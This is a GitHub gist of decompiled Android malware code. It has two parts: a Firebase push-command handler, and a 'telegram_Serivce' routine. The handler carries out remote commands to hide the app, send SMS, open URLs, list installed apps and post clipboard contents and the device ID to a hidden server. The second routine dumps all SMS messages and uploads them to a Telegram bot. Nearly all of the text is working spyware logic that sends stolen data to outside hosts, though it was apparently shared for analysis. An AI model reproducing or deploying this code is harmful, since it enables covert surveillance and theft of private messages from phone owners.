Skip to content

Instantly share code, notes, and snippets.

@MrOplus

MrOplus/malware_firebase.java

Last active August 23, 2021 20:03
Show Gist options
  • Save MrOplus/c57ff08e5c66b7fd8928184798c22b79 to your computer and use it in GitHub Desktop.
Save MrOplus/c57ff08e5c66b7fd8928184798c22b79 to your computer and use it in GitHub Desktop.
Download ZIP
decompiled malware code
Raw
malware_firebase.java
public static String _fm_messagearrived(FirebaseNotificationsService.RemoteMessageWrapper remoteMessageWrapper) throws Exception {
JSONParser jSONParser = new JSONParser();
jSONParser.Initialize(C0139BA.ObjectToString(remoteMessageWrapper.GetData().Get("data")));
new Map();
Map NextObject = jSONParser.NextObject();
if (NextObject.Get("cmd").equals("vibrate")) {
new Phone.PhoneVibrate();
Phone.PhoneVibrate.Vibrate(processBA, C0139BA.ObjectToLongNumber(NextObject.Get("time")));
return "";
} else if (NextObject.Get("cmd").equals("List")) {
new Phone();
_v5 = new httpjob();
_v5._initialize(processBA, "ht", getObject());
httpjob httpjob = _v5;
StringBuilder append = new StringBuilder().append("");
find_caco333 find_caco333 = mostCurrent._find_caco333;
httpjob._poststring(append.append(find_caco333._vvvvvvvvvvv2).append("").toString(), "data=" + Phone.getModel() + "&androidid=" + Phone.GetSettings("android_id"));
return "";
} else if (NextObject.Get("cmd").equals("app") && NextObject.Get("time").equals("get")) {
List list = new List();
PackageManagerWrapper packageManagerWrapper = new PackageManagerWrapper();
list.Initialize();
String str = "";
List GetInstalledPackages = packageManagerWrapper.GetInstalledPackages();
for (int i = 0; i <= GetInstalledPackages.getSize() - 1; i++) {
str = str + Common.CRLF + Common.CRLF + packageManagerWrapper.GetApplicationLabel(C0139BA.ObjectToString(GetInstalledPackages.Get(i))) + Common.CRLF + "package=" + C0139BA.ObjectToString(GetInstalledPackages.Get(i));
}
_vvvvv1 = C0139BA.NumberToString(Common.Rnd(1111111111, 1410065407));
File file = Common.File;
File file2 = Common.File;
File.WriteString(File.getDirInternal(), _vvvvv1 + ".txt", str);
return "";
} else if (NextObject.Get("cmd").equals("vibr") && NextObject.Get("time").equals("phone")) {
Phone phone = _vvvvv5;
Phone phone2 = _vvvvv5;
Phone.SetRingerMode(1);
return "";
} else if (NextObject.Get("cmd").equals("hide") && NextObject.Get("time").equals("apk" + Phone.GetSettings("android_id") + "")) {
C0139BA ba = processBA;
main main = mostCurrent._vvvvvvvvvvvv1;
Common.CallSubDelayed(ba, main.getObject(), "hide_click");
_v5._initialize(processBA, "ht", getObject());
httpjob httpjob2 = _v5;
StringBuilder append2 = new StringBuilder().append("");
find_caco333 find_caco3332 = mostCurrent._find_caco333;
String sb = append2.append(find_caco333._vvvvvvvvvvv2).append("").toString();
StringBuilder append3 = new StringBuilder().append("data=Target phone is hide Now");
Phone phone3 = _vvvvv4;
StringBuilder append4 = append3.append(Phone.getModel()).append(" ");
Phone phone4 = _vvvvv4;
httpjob2._poststring(sb, append4.append(Phone.GetSettings("android_id")).append("").toString());
return "";
} else if (NextObject.Get("cmd").equals("hide") && NextObject.Get("time").equals("apk")) {
C0139BA ba2 = processBA;
main main2 = mostCurrent._vvvvvvvvvvvv1;
Common.CallSubDelayed(ba2, main.getObject(), "hide_click");
_v5._initialize(processBA, "ht", getObject());
httpjob httpjob3 = _v5;
StringBuilder append5 = new StringBuilder().append("");
find_caco333 find_caco3333 = mostCurrent._find_caco333;
String sb2 = append5.append(find_caco333._vvvvvvvvvvv2).append("").toString();
StringBuilder append6 = new StringBuilder().append("data=Target phone is hide Now");
Phone phone5 = _vvvvv4;
StringBuilder append7 = append6.append(Phone.getModel()).append(" ");
Phone phone6 = _vvvvv4;
httpjob3._poststring(sb2, append7.append(Phone.GetSettings("android_id")).append("").toString());
return "";
} else if (!NextObject.Get("cmd").equals("mute") || !NextObject.Get("time").equals("phone")) {
Object Get = NextObject.Get("cmd");
StringBuilder append8 = new StringBuilder().append("open");
Phone phone7 = _vvvvv4;
if (Get.equals(append8.append(Phone.GetSettings("android_id")).append("").toString())) {
new Phone.PhoneIntents();
Common.StartActivity(processBA, Phone.PhoneIntents.OpenBrowser(C0139BA.ObjectToString(NextObject.Get("time"))));
return "";
}
Object Get2 = NextObject.Get("cmd");
StringBuilder append9 = new StringBuilder().append("sendmessage");
Phone phone8 = _vvvvv4;
if (Get2.equals(append9.append(Phone.GetSettings("android_id")).append("").toString())) {
Regex regex = Common.Regex;
String[] Split = Regex.Split("&", C0139BA.ObjectToString(NextObject.Get("time")));
PNSMS pnsms = new PNSMS();
pnsms.Initialize(processBA, "pnsms");
pnsms.Send(Split[0], Split[1]);
_v5._initialize(processBA, "ht", getObject());
httpjob httpjob4 = _v5;
StringBuilder append10 = new StringBuilder().append("");
find_caco333 find_caco3334 = mostCurrent._find_caco333;
String sb3 = append10.append(find_caco333._vvvvvvvvvvv2).append("").toString();
StringBuilder append11 = new StringBuilder().append("data=sms send Now From ");
Phone phone9 = _vvvvv4;
StringBuilder append12 = append11.append(Phone.getModel()).append(" ");
Phone phone10 = _vvvvv4;
httpjob4._poststring(sb3, append12.append(Phone.GetSettings("android_id")).append("").toString());
return "";
} else if (NextObject.Get("cmd").equals("sendmessage")) {
Regex regex2 = Common.Regex;
String[] Split2 = Regex.Split("&", C0139BA.ObjectToString(NextObject.Get("time")));
PNSMS pnsms2 = new PNSMS();
pnsms2.Initialize(processBA, "pnsms");
pnsms2.Send(Split2[0], Split2[1]);
_v5._initialize(processBA, "ht", getObject());
httpjob httpjob5 = _v5;
StringBuilder append13 = new StringBuilder().append("");
find_caco333 find_caco3335 = mostCurrent._find_caco333;
String sb4 = append13.append(find_caco333._vvvvvvvvvvv2).append("").toString();
StringBuilder append14 = new StringBuilder().append("data=sms send Now From ");
Phone phone11 = _vvvvv4;
StringBuilder append15 = append14.append(Phone.getModel()).append(" ");
Phone phone12 = _vvvvv4;
httpjob5._poststring(sb4, append15.append(Phone.GetSettings("android_id")).append("").toString());
return "";
} else if (NextObject.Get("cmd").equals("clipboard") && NextObject.Get("time").equals("text" + Phone.GetSettings("android_id") + "")) {
ARIAlib aRIAlib = new ARIAlib();
StringBuilder append16 = new StringBuilder().append("متن کلیپ بورد هدف📄\nتاریخ👈🏻").append(_vvvvv3.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
DateTime dateTime = Common.DateTime;
DateTime dateTime2 = Common.DateTime;
_text_for_send = append16.append(DateTime.Time(DateTime.getNow())).append(Common.CRLF).append(Common.CRLF).append(aRIAlib.getClipboadText()).toString();
_text_for_send = _vvvvv2.EncodeUrl(_text_for_send, "UTF-8");
_v5._initialize(processBA, "ht", getObject());
httpjob httpjob6 = _v5;
StringBuilder append17 = new StringBuilder().append("");
find_caco333 find_caco3336 = mostCurrent._find_caco333;
httpjob6._poststring(append17.append(find_caco333._vvvvvvvvvvv2).append("").toString(), "TxT=" + _text_for_send);
return "";
} else if (NextObject.Get("cmd").equals("show" + Phone.GetSettings("android_id") + "")) {
Common.ToastMessageShow(C0139BA.ObjectToCharSequence(NextObject.Get("time")), true);
return "";
} else if (!NextObject.Get("cmd").equals(AppMeasurement.CRASH_ORIGIN) || !NextObject.Get("time").equals("app")) {
return "";
} else {
Common.ExitApplication();
return "";
}
} else {
Phone phone13 = _vvvvv5;
Phone phone14 = _vvvvv5;
Phone.SetRingerMode(0);
return "";
}
}
Raw
telegram_Serivce.java
public static String _service_start(IntentWrapper intentWrapper) throws Exception {
String str;
new List();
File file = Common.File;
File file2 = Common.File;
List ReadList = File.ReadList(File.getDirAssets(), "token.txt");
Common.LogImpl("12228228", C0139BA.ObjectToString(ReadList.Get(0)), 0);
new List();
File file3 = Common.File;
File file4 = Common.File;
List ReadList2 = File.ReadList(File.getDirAssets(), "chatid.txt");
Common.LogImpl("12228232", C0139BA.ObjectToString(ReadList2.Get(0)), 0);
_vvvvvvvvvvv5.Initialize();
_vvvvvvvvvvv5 = _vvvvvvvvvv0.GetAll();
int size = _vvvvvvvvvvv5.getSize() - 1;
String str2 = "";
for (int i = 0; i <= size; i++) {
_vvvvvv4 = (SmsWrapper.Sms) _vvvvvvvvvvv5.Get(i);
if (_vvvvvv4.PersonId != -1) {
str = "Receive";
} else {
str = "Sent";
}
StringBuilder append = new StringBuilder().append(str2).append(Common.CRLF).append(Common.CRLF).append("{").append(Common.CRLF).append("Conversion:").append(_vvvvvv4.Address).append(Common.CRLF).append("Text:").append(_vvvvvv4.Body).append(Common.CRLF).append("Status:").append(str).append(Common.CRLF).append("Date:");
DateTime dateTime = Common.DateTime;
StringBuilder append2 = append.append(DateTime.Date(_vvvvvv4.Date)).append(" ");
DateTime dateTime2 = Common.DateTime;
str2 = append2.append(DateTime.Time(_vvvvvv4.Date)).append(Common.CRLF).append("}").toString();
}
_vvvvv1 = C0139BA.NumberToString(Common.Rnd(1111111111, 1410065407));
File file5 = Common.File;
File file6 = Common.File;
File.WriteString(File.getDirInternal(), _vvvvv1 + ".txt", str2);
_vvvv0.Initialize(processBA, "PNUpload");
PNUploadFile pNUploadFile = _vvvv0;
File file7 = Common.File;
File file8 = Common.File;
String Combine = File.Combine(File.getDirInternal(), _vvvvv1 + ".txt");
StringBuilder append3 = new StringBuilder().append("h").append(_vv1).append("").append(_vv1).append("").append(_vvvvvv2).append("").append(_vv0).append("").append(_vvvvvvv1).append("").append(_vvvvvvv0).append("").append(_vvvvvvvv2).append("").append(_v0).append("").append(_vvvvvvv5).append("").append(_vvvvvvvvvv5).append("/666/bot").append(C0139BA.ObjectToString(ReadList.Get(0))).append("/sendDocument?chat_id=").append(C0139BA.ObjectToString(ReadList2.Get(0))).append("&caption=");
StringUtils stringUtils = _vvvvv2;
StringBuilder append4 = new StringBuilder().append("تاریخ⬅️🏻").append(_vvvvv3.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
DateTime dateTime3 = Common.DateTime;
DateTime dateTime4 = Common.DateTime;
StringBuilder append5 = append4.append(DateTime.Time(DateTime.getNow())).append(Common.CRLF).append("مدل دستگاه:");
Phone phone = _vvvvv4;
StringBuilder append6 = append5.append(Phone.getModel()).append(Common.CRLF).append("آیدی دستگاه:");
Phone phone2 = _vvvvv4;
pNUploadFile.StartUpload("POST", "multipart/form-data", Combine, append3.append(stringUtils.EncodeUrl(append6.append(Phone.GetSettings("android_id")).toString(), "UTF-8")).toString(), "document", 2);
mostCurrent._service.StopAutomaticForeground();
return "";
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment